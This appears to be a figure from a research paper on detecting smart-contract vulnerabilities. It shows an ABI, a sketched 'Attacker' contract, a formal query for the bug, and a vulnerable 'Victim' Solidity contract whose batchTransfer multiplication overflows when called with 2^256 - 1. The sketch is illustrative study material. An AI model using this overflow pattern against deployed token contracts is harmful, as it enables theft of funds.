

```

{"inputs": [
  {"name": "_receivers", "type": "address []"},
  {"name": "_value", "type": "uint256"}] ,
"name": "batchTransfer" , "type": "function"
...
}      (1) ABI

```

```

contract Attacker {
  ...
  function exploit() {
    v = Victim(0x123);
    v.makeFlag(true);
    v.batchTransfer([0x123, 0x456],
                    2^256 - 1);
  }
  function () payable {}
}      (2) attack program

```

Query: $\exists arg_0, arg_1, r_1, r_2, r_3, call \ r_3 = (r_1 \otimes r_2) \wedge \llbracket r_2 \rrbracket > \llbracket r_3 \rrbracket$
 $\wedge (interfere? \ r_2 \ call.value) \wedge (interfere? \ arg_0 \ call.addr)$
 $\wedge (interfere? \ arg_1 \ call.value)$

```

contract Victim {
  2 bool flag = false;

  function makeFlag(bool fg) {
    5 flag = fg;
  }

  function batchTransfer(address[] r,
                        uint256 v){
    10 uint c = r.length;
    11 uint256 amount = uint256(c)*v;
    12 require(flag);

    13 b[msg.sender] =
    14 b[msg.sender].sub(amount);
    15 for (uint i = 0; i < c; i++) {
    16     address recv = r[i];
    17     recv.transfer(v);
    }
    return true;
  }
}      (3) victim program

```